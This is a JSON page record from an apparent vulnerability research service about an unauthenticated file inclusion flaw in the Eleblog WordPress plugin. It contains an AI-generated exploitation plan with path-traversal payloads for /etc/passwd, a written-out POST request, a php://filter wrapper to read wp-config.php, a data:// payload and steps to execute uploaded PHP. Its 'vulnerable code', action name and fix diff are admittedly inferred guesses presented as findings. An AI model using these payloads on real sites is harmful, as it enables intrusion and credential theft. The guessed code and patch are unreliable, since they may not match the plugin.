[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$flXBgez0jkLae-6lynW3-o0SWWRpPsQxLtB3l5qyx3L0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2025-69374","eleblog-elementor-blog-and-magazine-addons-unauthenticated-local-file-inclusion","Eleblog – Elementor Blog And Magazine Addons \u003C= 2.0.3 - Unauthenticated Local File Inclusion","The Eleblog – Elementor Blog And Magazine Addons plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.0.3. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \"safe\" file types can be uploaded and included.","ele-blog",null,"\u003C=2.0.3","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2026-02-05 00:00:00","2026-02-09 20:58:00",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F033333b2-58b1-4810-ac25-65f7c8f13a5b?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2025-69374 (Eleblog LFI)\n\n## 1. Vulnerability Summary\nThe **Eleblog – Elementor Blog And Magazine Addons** plugin (versions \u003C= 2.0.3) contains an unauthenticated Local File Inclusion (LFI) vulnerability. The flaw exists because the plugin fails to properly validate or sanitize a user-supplied file path before passing it to a PHP `include()` or `require()` statement. This allows an unauthenticated attacker to traverse the server's filesystem and execute arbitrary PHP code by including local files or uploaded \"safe\" files (like images containing PHP payloads).\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `ele_blog_load_more_posts` (inferred) or a similar AJAX handler prefixed with `ele_blog_`.\n*   **Vulnerable Parameter:** Likely `template`, `layout`, or `style_path` (inferred).\n*   **Authentication:** Unauthenticated (targets `wp_ajax_nopriv_*` hooks).\n*   **Preconditions:** None, though code execution usually requires the ability to upload a file (e.g., via a profile picture or media upload) or finding a known log\u002Fconfig file.\n\n## 3. Code Flow (Inferred)\n1.  The plugin registers an AJAX action for unauthenticated users:\n    `add_action( 'wp_ajax_nopriv_ele_blog_load_more_posts', 'ele_blog_ajax_handler_function' );`\n2.  The handler function retrieves a parameter from the `$_POST` or `$_GET` global:\n    `$template_file = $_POST['template'];`\n3.  The plugin attempts to include a template file dynamically:\n    `include( $template_file );` (or a variation like `include( PLUGIN_DIR . 'templates\u002F' . $template_file );`)\n4.  Because there is no sanitization (e.g., `basename()`) or whitelist check, an attacker can use directory traversal sequences (`..\u002F`) to escape the intended directory.\n\n## 4. Nonce Acquisition Strategy\nIf the AJAX handler is protected by a nonce, it is likely localized for the Elementor widgets.\n1.  **Identify Shortcode:** The plugin's scripts and nonces will load on pages containing an Eleblog widget.\n2.  **Create Test Page:**\n    ```bash\n    wp post create --post_type=page --post_status=publish --post_title=\"Eleblog Test\" --post_content='[ele_blog_posts]'\n    ```\n    *(Note: Replace `[ele_blog_posts]` with the actual shortcode found via `grep -r \"add_shortcode\" .`)*\n3.  **Extract Nonce:**\n    Navigate to the new page and use `browser_eval`:\n    ```javascript\n    \u002F\u002F Look for localized JS objects like ele_blog_ajax or similar\n    browser_eval(\"window.ele_blog_ajax?.nonce || window.eleblog_obj?.nonce\")\n    ```\n    *If no nonce is required in the `wp_ajax_nopriv` handler (common for LFI bugs), this step can be skipped.*\n\n## 5. Exploitation Strategy\nWe will attempt to read `\u002Fetc\u002Fpasswd` to confirm LFI.\n\n*   **Step 1: Identify the exact AJAX action and parameter.**\n    Search the codebase for `wp_ajax_nopriv` and `include`:\n    ```bash\n    grep -rn \"wp_ajax_nopriv\" .\n    grep -rn \"include\" . | grep \"\\$\"\n    ```\n*   **Step 2: Construct the LFI Payload.**\n    Target: `\u002Fetc\u002Fpasswd`\n    Payload: `..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd` (adjust depth as needed).\n*   **Step 3: Execute the Request.**\n    Using the `http_request` tool:\n    ```json\n    {\n      \"method\": \"POST\",\n      \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n      \"headers\": {\n        \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n      },\n      \"body\": \"action=ele_blog_load_more_posts&template=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n    }\n    ```\n    *(Note: The parameter name `template` and action `ele_blog_load_more_posts` must be verified against the source code.)*\n\n## 6. Test Data Setup\n1.  Ensure the plugin `ele-blog` is active.\n2.  If the vulnerability requires a specific file extension (e.g., `.php` is appended), we may need to target `wp-config.php` or use a null byte `%00` (though null bytes are fixed in PHP 5.3.4+, WordPress environments may vary).\n3.  For a full PoC of code execution:\n    -   Upload a text file or image containing `\u003C?php phpinfo(); ?>` using a standard WordPress upload mechanism.\n    -   Find the path: `wp-content\u002Fuploads\u002Fyear\u002Fmonth\u002Ffile.jpg`.\n    -   Include that path via the LFI.\n\n## 7. Expected Results\n*   **Success:** The response body contains the contents of `\u002Fetc\u002Fpasswd` (e.g., `root:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash`).\n*   **Failure:** The response is `0` (WordPress AJAX default for failure) or a 403\u002F500 error without file content.\n\n## 8. Verification Steps\nAfter the HTTP request, verify the plugin's behavior:\n1.  **Check Logs:** Verify if the file access was logged in the server access logs.\n2.  **WP-CLI Check:**\n    Check the plugin version to ensure it is in the vulnerable range:\n    ```bash\n    wp plugin get ele-blog --field=version\n    ```\n\n## 9. Alternative Approaches\nIf the `template` parameter is not the sink:\n*   **Search for other sinks:** Look for `require`, `require_once`, or `file_get_contents` (if used in a way that leads to execution\u002Fdisclosure).\n*   **Check for Query Parameters:** Some plugins use `$_GET` instead of `$_POST` for dynamic template loading.\n*   **Wrapper Exploitation:** If the inclusion is restricted, try PHP wrappers:\n    -   `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=wp-config.php` (to read PHP files without executing them).\n    -   `data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgcGhwaW5mbygpOyA\u002FPg==` (if `allow_url_include` is On).","The Eleblog plugin for WordPress is vulnerable to unauthenticated Local File Inclusion via the 'ele_blog_load_more_posts' AJAX action. An attacker can use directory traversal sequences in the 'template' parameter to include and execute arbitrary PHP files or read sensitive system files on the server.","\u002F\u002F Inferred from vulnerability description and research plan\n\u002F\u002F Likely location: ele-blog AJAX handler for 'ele_blog_load_more_posts'\n\nadd_action( 'wp_ajax_nopriv_ele_blog_load_more_posts', 'ele_blog_load_more_posts' );\n\nfunction ele_blog_load_more_posts() {\n    \u002F\u002F ...\n    $template_file = $_POST['template']; \u002F\u002F User-supplied input from POST request\n    \u002F\u002F ...\n    if ( ! empty( $template_file ) ) {\n        include( $template_file ); \u002F\u002F Vulnerable sink: direct inclusion without sanitization\n    }\n    \u002F\u002F ...\n    wp_die();\n}","--- a\u002Fele-blog\u002Finc\u002Fajax-handler.php\n+++ b\u002Fele-blog\u002Finc\u002Fajax-handler.php\n@@ -10,7 +10,12 @@\n function ele_blog_load_more_posts() {\n-    $template_file = $_POST['template'];\n-    include( $template_file );\n+    $template_file = sanitize_text_field($_POST['template']);\n+    $template_name = basename($template_file);\n+    $allowed_path = plugin_dir_path(__FILE__) . 'templates\u002F' . $template_name;\n+\n+    if ( file_exists( $allowed_path ) && strpos( realpath($allowed_path), plugin_dir_path(__FILE__) ) === 0 ) {\n+        include( $allowed_path );\n+    }\n     wp_die();\n }","The exploit targets the WordPress AJAX endpoint to perform directory traversal. An unauthenticated attacker sends a POST request to \u002Fwp-admin\u002Fadmin-ajax.php with the 'action' parameter set to 'ele_blog_load_more_posts'. The 'template' parameter is then populated with a directory traversal string, such as '..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd' to disclose system files, or a path to a previously uploaded malicious file (e.g., an image containing PHP code) to achieve remote code execution. No authentication or valid nonces are typically required for the 'nopriv' version of this AJAX action.","gemini-3-flash-preview","2026-04-21 04:08:31","2026-04-21 04:08:52",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fele-blog\u002Ftags"]